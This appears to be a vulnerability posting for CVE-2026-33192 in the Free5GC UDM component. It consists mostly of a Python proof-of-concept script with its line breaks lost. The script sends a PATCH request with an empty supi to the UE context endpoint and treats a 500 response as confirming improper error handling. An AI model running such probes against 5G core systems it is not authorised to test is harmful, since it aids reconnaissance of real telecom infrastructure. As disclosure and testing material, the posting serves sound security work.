CVE-2026-33192 Free5GC UDM信息泄露漏洞

#!/usr/bin/env python3 import requests # CVE-2026-33192 PoC: Free5GC UDM Improper Error Handling # Target: Free5GC UDM component < 1.4.2 # Description: Sending a PATCH request with an empty supi parameter triggers a 500 error instead of 400, # and the method is incorrectly translated to PUT internally. def check_vulnerability(target_url): # Standard UDM UE Context Management endpoint (example) # The supi parameter should be a valid IMSI or SUPI, here we send it empty. endpoint = "nudm-uecm/v1/ue-contexts/" full_url = f"{target_url.rstrip('/')}/{endpoint}" headers = { "Content-Type": "application/json", "Accept": "application/json" } # Payload data (can be empty or minimal) payload = {} try: print(f"[*] Sending request to: {full_url}") response = requests.patch(full_url, headers=headers, json=payload, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") # Analysis if response.status_code == 500: print("[+] Vulnerability confirmed! Server returned 500 Internal Server Error for empty supi.") print("[+] This indicates the UDM is masking 400 Bad Request errors as 500 errors.") elif response.status_code == 400: print("[-] Server returned 400 Bad Request. The target may be patched or not vulnerable.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP/Hostname target = "http://127.0.0.1:29500" check_vulnerability(target)